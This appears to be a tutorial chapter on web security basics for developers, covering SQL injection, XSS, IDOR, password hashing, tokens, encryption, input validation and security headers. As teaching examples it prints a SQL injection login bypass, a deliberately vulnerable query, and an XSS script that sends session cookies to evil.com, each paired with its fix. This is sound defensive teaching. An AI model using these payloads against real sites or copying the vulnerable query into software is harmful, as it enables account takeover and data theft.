Security Basics
You lock your front door, right? Not because you expect a break-in every night, but because the cost of locking is low and the cost of not locking could be high.
Security in software works the same way. You can't prevent every possible attack, but you can make yourself a hard target. Attackers are lazy and they go after easy victims.
This isn't a comprehensive security course. It's the 20% of knowledge that prevents 80% of disasters.
What You Will Learn
- The most common attacks and how to prevent them
- Authentication: proving who you are
- Authorization: what you're allowed to do
- Encryption: keeping secrets secret
- Input validation: not trusting users
- Security headers and HTTPS
- How to think about security without going crazy
The Castle Analogy
Think of your system as a castle.
Walls (Network Security): Control who can even reach your services. Firewalls, VPCs, private networks.
Gate and Guards (Authentication): Verify identity. Who are you? Prove it.
Permissions (Authorization): Once inside, where can you go? The kitchen staff can't enter the treasury.
Vault (Encryption): The crown jewels are locked up. Even if someone breaks in, they can't read the secrets.
Watchtower (Monitoring): Guards watching for suspicious activity. Logs, alerts, intrusion detection.
You need all layers. A fancy vault doesn't help if there's no gate.
The Attacks That Actually Happen
Security has a million edge cases. But most breaches come from a handful of mistakes.
1. SQL Injection
The classic. And still happening everywhere.
The attack:
Your login form takes a username and password. The code builds a SQL query:
python# NEVER DO THIS query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
An attacker enters:
- Username:
admin' -- - Password:
anything
The query becomes:
sqlSELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
The -- comments out the rest. Now they're logged in as admin without knowing the password.
The fix: Parameterized queries
python# Do this instead cursor.execute( "SELECT * FROM users WHERE username = ? AND password = ?", (username, password) )
The database treats the inputs as data, not code. Even if someone enters admin' --, it looks for a user literally named admin' --.
Every database library supports this. Use it. Always.
2. Cross-Site Scripting (XSS)
You let users post comments. An attacker posts:
html<script> document.location = 'https://evil.com/steal?cookie=' + document.cookie </script>
Anyone who views that comment has their session cookie stolen.
The fix: Escape output
When displaying user content, escape HTML characters:
javascript// Input: <script>alert('hacked')</script> // Output: <script>alert('hacked')</script>
Now it displays as text, not as executable code.
Every template engine has this. React escapes by default. Django escapes by default. Use it.
3. Broken Authentication
- Passwords stored in plain text (hackers read your database = game over)
- No rate limiting on login (attackers try millions of passwords)
- Session tokens that are predictable
- Passwords in URLs (they end up in logs)
The fixes:
Hash passwords with bcrypt, scrypt, or Argon2:
pythonimport bcrypt # Storing a password hashed = bcrypt.hashpw(password.encode(), bcrypt.gensalt()) # Verifying a password if bcrypt.checkpw(password.encode(), stored_hash): # Login successful
Rate limit logins: After 5 failed attempts, lock the account or add delays.
Use random tokens: Session IDs should be long, random strings. Not user123.
Never put secrets in URLs: https://api.com/users?api_key=secret ends up in server logs, browser history, and referrer headers.
4. Insecure Direct Object References (IDOR)
Your API has this endpoint:
plaintextGET /api/invoices/12345
The user changes 12345 to 12346. Oops, they're looking at someone else's invoice.
The fix: Authorization checks
python@app.route('/api/invoices/<invoice_id>') def get_invoice(invoice_id): invoice = Invoice.query.get(invoice_id) # Always check ownership if invoice.user_id != current_user.id: return {"error": "Forbidden"}, 403 return invoice.to_dict()
Never assume that because a user is logged in, they can access any resource. Always verify ownership.
5. Sensitive Data Exposure
- API keys committed to GitHub
- Passwords in config files without encryption
- Credit card numbers in logs
- Error messages revealing database structure
The fixes:
Use environment variables for secrets:
python# Not this API_KEY = "sk_live_abc123" # This import os API_KEY = os.environ.get("API_KEY")
Scrub logs: Never log passwords, credit cards, or tokens.
Use secret managers: AWS Secrets Manager, HashiCorp Vault, etc.
Authentication: Proving Who You Are
Passwords: The Necessary Evil
Passwords are terrible but ubiquitous. Make them less terrible:
Requirements:
- Minimum 8 characters (12+ is better)
- Check against common password lists ("password123" is not a good password)
- Don't require weird complexity rules (they make passwords harder to remember, not harder to crack)
Storage:
- Hash with bcrypt, scrypt, or Argon2 (NOT MD5 or SHA1)
- Use a unique salt per password (bcrypt does this automatically)
- Never encrypt passwords but hash them. There's a difference.
The difference:
- Encryption is reversible. You can get the original back.
- Hashing is one-way. You can't reverse it. You verify by hashing the input and comparing.
Tokens: Better Than Sending Passwords
After login, give the user a token. They send this token with every request instead of their password.
Session tokens: Random string stored on your server, linked to the user.
plaintextCookie: session_id=a8f3c9e2b1d4...
Your server looks up a8f3c9e2b1d4 and knows it's Alice.
JWTs (JSON Web Tokens): Self-contained tokens. The token itself contains user info, signed so you know it's real.
plaintexteyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. eyJ1c2VyX2lkIjoiMTIzIiwiZXhwIjoxNjk5OTk5OTk5fQ. signature
Decoded:
json{ "user_id": "123", "exp": 1699999999 }
JWTs don't require server-side session storage. But they can't be revoked easily. If a token is stolen, it works until it expires.
Multi-Factor Authentication (MFA)
Something you know (password) + something you have (phone, security key).
Even if someone steals your password, they can't log in without your phone.
Critical for:
- Admin accounts
- Financial systems
- Any high-value target
Authorization: What You're Allowed to Do
Authentication: You are Pranay. Authorization: Pranay can view her own orders, but not Janu's.
Role-Based Access Control (RBAC)
Users have roles. Roles have permissions.
plaintextRoles: admin: [read, write, delete, admin] editor: [read, write] viewer: [read] Users: alice: admin bob: editor carol: viewer
Simple and easy to understand. Good for most applications.
Check on Every Request
Don't trust that the user navigated through your UI properly. They might call the API directly.
python@app.route('/admin/delete-user/<user_id>', methods=['DELETE']) def delete_user(user_id): # Always check, even if the button only shows for admins if not current_user.has_role('admin'): return {"error": "Forbidden"}, 403 # Now delete
The Principle of Least Privilege
Give users the minimum permissions they need. Nothing more.
- Developers don't need production database access (until they do)
- Read-only service accounts when writes aren't needed
- Temporary elevated access, not permanent admin
If someone's account is compromised, the damage is limited.
Encryption: Keeping Secrets Secret
In Transit: HTTPS Everywhere
HTTP sends data in plain text. Anyone on the network can read it.
HTTPS encrypts the connection. Even if intercepted, attackers see gibberish.
No exceptions. Even internal services. Even just metadata. Use HTTPS.
Get certificates from Let's Encrypt (free) or your cloud provider.
At Rest: Encrypt Stored Data
Data in your database can be stolen (breach, backup theft, insider).
Encrypt sensitive data:
pythonfrom cryptography.fernet import Fernet key = Fernet.generate_key() # Store this securely! cipher = Fernet(key) # Encrypt encrypted = cipher.encrypt(b"sensitive data") # Decrypt decrypted = cipher.decrypt(encrypted)
What to encrypt:
- Social Security numbers
- Credit card numbers
- Medical records
- Anything regulated (HIPAA, PCI-DSS, GDPR)
Database-level encryption: Most databases offer transparent encryption. All data is encrypted on disk. If someone steals the hard drive, they get nothing.
But if they steal your database credentials, they can still query data normally. Defense in depth means encrypting at multiple levels.
Secrets Management
Where do you store API keys, database passwords, encryption keys?
Not in code. Not in Git. Not in config files.
Environment variables: Okay for simple setups.
bashexport DATABASE_PASSWORD=supersecret
Secret managers: Better for production.
- AWS Secrets Manager
- HashiCorp Vault
- Google Secret Manager
Your code fetches secrets at runtime. Secrets are rotated without deployments. Access is audited.
Input Validation: Trust No One
Every input is potentially malicious. Every Single One.
Validate Everything
pythondef create_order(user_input): # Validate required fields exist if 'product_id' not in user_input: raise ValueError("product_id required") # Validate types if not isinstance(user_input['quantity'], int): raise ValueError("quantity must be integer") # Validate ranges if user_input['quantity'] < 1 or user_input['quantity'] > 100: raise ValueError("quantity must be 1-100") # Validate against allowed values if user_input['payment_method'] not in ['card', 'paypal']: raise ValueError("invalid payment method") # Now it's safe to use
Sanitize for Context
The same input might be safe in one context and dangerous in another.
<script>in a database? Probably fine.<script>in HTML output? XSS attack.; DROP TABLE usersin a log? Fine.; DROP TABLE usersin a SQL query? Disaster.
Sanitize based on where the data goes.
Use Allowlists, Not Blocklists
Blocklist: Block these dangerous characters: < > ' " ; --
Problem: Attackers find characters you forgot.
Allowlist: Only allow these safe characters: a-z, A-Z, 0-9, @, .
If you expect an email, only allow email characters. If you expect a number, only allow digits.
Security Headers
Free protection you get by adding HTTP headers.
plaintextContent-Security-Policy: default-src 'self'
Tells the browser: only load scripts/styles/images from our domain. Blocks XSS.
plaintextX-Frame-Options: DENY
Prevents your site from being embedded in iframes. Blocks clickjacking.
plaintextStrict-Transport-Security: max-age=31536000
Tells the browser: always use HTTPS. Even if user types http://.
plaintextX-Content-Type-Options: nosniff
Prevents browsers from guessing content types. Blocks MIME confusion attacks.
Most web frameworks let you add these globally with one config change.
Thinking About Security
Assume Breach
Assume attackers will get in. What's the damage?
If they breach your web server:
- Can they read the database? (Segmentation)
- Can they get to other services? (Network isolation)
- Can they read secrets? (Secrets management)
- Will you know? (Monitoring)
Defense in Depth
No single layer is perfect. Stack multiple layers.
- Firewall blocks most attackers
- Authentication blocks unauthorized users
- Authorization blocks users accessing wrong data
- Encryption protects data if stolen
- Monitoring catches what got through
Each layer makes attacks harder. Attackers give up and find easier targets.
Threat Modeling
Before building, ask:
- What are we protecting? (User data, money, reputation)
- Who might attack us? (Script kiddies, competitors, nation states)
- What could go wrong? (Data breach, DoS, ransomware)
- How likely is each threat?
- What's the impact if it happens?
Focus on high-likelihood, high-impact threats. Don't spend a week defending against NSA if you're a small startup.
The Checklist
Authentication:
- Passwords hashed with bcrypt/scrypt/Argon2
- Rate limiting on login
- MFA for admin accounts
- Secure session tokens
Authorization:
- Ownership checked on every resource access
- Roles and permissions enforced server-side
- Principle of least privilege
Data Protection:
- HTTPS everywhere
- Sensitive data encrypted at rest
- Secrets not in code or config files
- Logs scrubbed of sensitive data
Input Handling:
- SQL queries parameterized
- Output escaped for HTML
- Input validated against allowlists
Headers:
- Security headers configured
- Cookies set to HttpOnly and Secure
The Bottom Line
Security isn't about being unhackable. It's about being harder to hack than the next target.
Prevent the common attacks:
- SQL injection -> parameterized queries
- XSS -> escape output
- IDOR -> authorization checks
Protect credentials:
- Hash passwords
- Use tokens
- Enable MFA
Encrypt everything:
- HTTPS in transit
- Encryption at rest for sensitive data
Validate input:
- Assume all input is malicious
- Use allowlists
Assume breach:
- Layer your defenses
- Monitor for intrusions
- Limit blast radius
You don't need to be a security expert. You need to not be the low-hanging fruit.
What's Next
You've built secure, resilient, observable systems. But are they cost-effective? Are you spending more than you need to?
That's where Cost Optimization comes in to teach you how to get the same results for less money.